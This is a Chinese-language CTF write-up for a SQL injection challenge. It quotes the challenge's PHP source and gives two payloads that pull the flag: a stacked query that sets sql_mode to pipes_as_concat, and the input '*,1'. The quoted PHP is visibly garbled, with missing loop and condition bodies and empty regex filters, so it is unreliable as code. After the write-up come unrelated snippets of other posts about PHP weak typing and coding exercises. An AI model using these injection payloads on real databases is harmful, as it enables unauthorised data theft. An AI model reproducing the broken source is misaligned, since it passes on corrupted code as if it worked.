開啟環境,發現依舊是sql注入
github上有原始碼(
index.php原始碼
<?phpsql執行的語句:$sql="select ".$post['query']."||flag from flag";session_start
();
include_once "config.php";
$post = array
();
$get = array
();
global
$mysqllink
;
//getpara();
$mysqllink = mysqli_connect("localhost",$datauser,$datapass
);
if(!$mysqllink
)
$selectdb = mysqli_select_db($mysqllink,$dataname
);
if(!$selectdb
)
foreach ($_post
as$k=>$v
) }
foreach ($_get
as$k=>$v
) }
//die();
?>
give me your flag, i will tell you if the flag is right.
<?php
if(isset($post['query']))/is",$post['query']));
if(preg_match("//is",$post['query']))
if(strlen($post['query'])>40)
$sql = "select ".$post['query']."||flag from flag";
//sql執行語句
mysqli_multi_query($mysqllink,$sql
);
do }
}while(@mysqli_next_result($mysqllink
));
}?>
第一種:堆疊注入,使得sql_mode的值為pipes_as_concat。
payload:setsql_mode=pipes_as_concat;
所以整個語句為:1;set sql_mode=pipes_as_concat;select 1
第二種:
根據sql執行語句:$sql="select ".$post['query']."||flag from flag";
構造出:$sql="select *,1 ||flag from flag";
所以直接輸入「*,1」就可直接出flag
Web刷題之旅(二) BUUCTF 站
網頁讓我們 try to find out source file 御劍和uniscan掃不出後台目錄,無奈只好拿出掃到讓運營兩行淚的dirsearch 原來是php弱型別轉換,就是說int型別傳入1a,遇到字元就會停止讀取,相當於傳入的是1key和str比較,str必然是要型別轉換成int,只取1...
pat刷題之旅1002
一開始那道題,我的思路就是用乙個變數n來儲存所輸入的數,之後通過模10,除10運算來求得每一位上的數之和,最後將所求得的和進行模10,除10將每一位上的數放到陣列arr中,通過switch case語句對應到相應的漢字表示中。如下。include includeint main int s 0,i ...
hdoj刷題之旅 2003
輸入乙個百分制的成績t,將其轉換成對應的等級,具體轉換規則如下 90 100為a 80 89為b 70 79為c 60 69為d 0 59為e 輸入資料有多組,每組佔一行,由乙個整數組成。對於每組輸入資料,輸出一行。如果輸入資料不在0 100範圍內,請輸出一行 score is error edas...